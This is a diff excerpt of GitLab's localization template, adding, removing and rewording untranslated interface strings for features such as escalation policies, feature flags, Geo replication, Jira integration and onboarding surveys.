+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
